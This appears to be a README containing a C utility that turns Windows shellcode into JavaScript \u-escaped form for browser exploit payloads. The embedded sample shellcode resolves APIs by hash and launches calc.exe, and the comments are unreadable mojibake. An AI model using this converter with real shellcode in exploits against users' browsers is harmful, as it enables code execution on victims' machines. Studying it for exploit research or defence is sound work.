README.md
Rendering markdown...
/*
*���������ڽ�C����shellcodeת����javascript��ʽ��shellcode��ʹ��ʱ��
*���轫��ת��shellcode�滻buf�������м���
*/
#include <stdio.h>
#include <stdlib.h>
unsigned char buf[] =
"\xE9\x96\x00\x00\x00\x56\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B"
"\x76\x1C\x8B\x46\x08\x8B\x7E\x20\x8B\x36\x66\x39\x4F\x18\x75\xF2"
"\x5E\xC3\x60\x8B\x6C\x24\x24\x8B\x45\x3C\x8B\x54\x05\x78\x01\xEA"
"\x8B\x4A\x18\x8B\x5A\x20\x01\xEB\xE3\x37\x49\x8B\x34\x8B\x01\xEE"
"\x31\xFF\x31\xC0\xFC\xAC\x84\xC0\x74\x0A\xC1\xCF\x0D\x01\xC7\xE9"
"\xF1\xFF\xFF\xFF\x3B\x7C\x24\x28\x75\xDE\x8B\x5A\x24\x01\xEB\x66"
"\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB\x8B\x04\x8B\x01\xE8\x89\x44\x24"
"\x1C\x61\xC3\xAD\x50\x52\xE8\xA7\xFF\xFF\xFF\x89\x07\x81\xC4\x08"
"\x00\x00\x00\x81\xC7\x04\x00\x00\x00\x39\xCE\x75\xE6\xC3\xE8\x19"
"\x00\x00\x00\x98\xFE\x8A\x0E\x7E\xD8\xE2\x73\x81\xEC\x08\x00\x00"
"\x00\x89\xE5\xE8\x5D\xFF\xFF\xFF\x89\xC2\xEB\xE2\x5E\x8D\x7D\x04"
"\x89\xF1\x81\xC1\x08\x00\x00\x00\xE8\xB6\xFF\xFF\xFF\xEB\x0E\x5B"
"\x31\xC0\x50\x53\xFF\x55\x04\x31\xC0\x50\xFF\x55\x08\xE8\xED\xFF"
"\xFF\xFF\x63\x61\x6C\x63\x2E\x65\x78\x65\x00";//��shellcode���ڵ��������
int main(int argc, char **argv)
{
int i = 0;
int n = sizeof(buf)-1;
FILE *fp = fopen("js.txt", "w");
if (n & 1)
{
n--;
}
for (i = 0; i < n; i += 2)
{
fprintf(fp, "\\u%02X%02X", buf[i+1], buf[i]);
}
n = sizeof(buf)-1;
if (n & 1)
{
fprintf(fp, "\\u%02X%02X", 0, buf[i]);
}
fclose(fp);
return 0;
}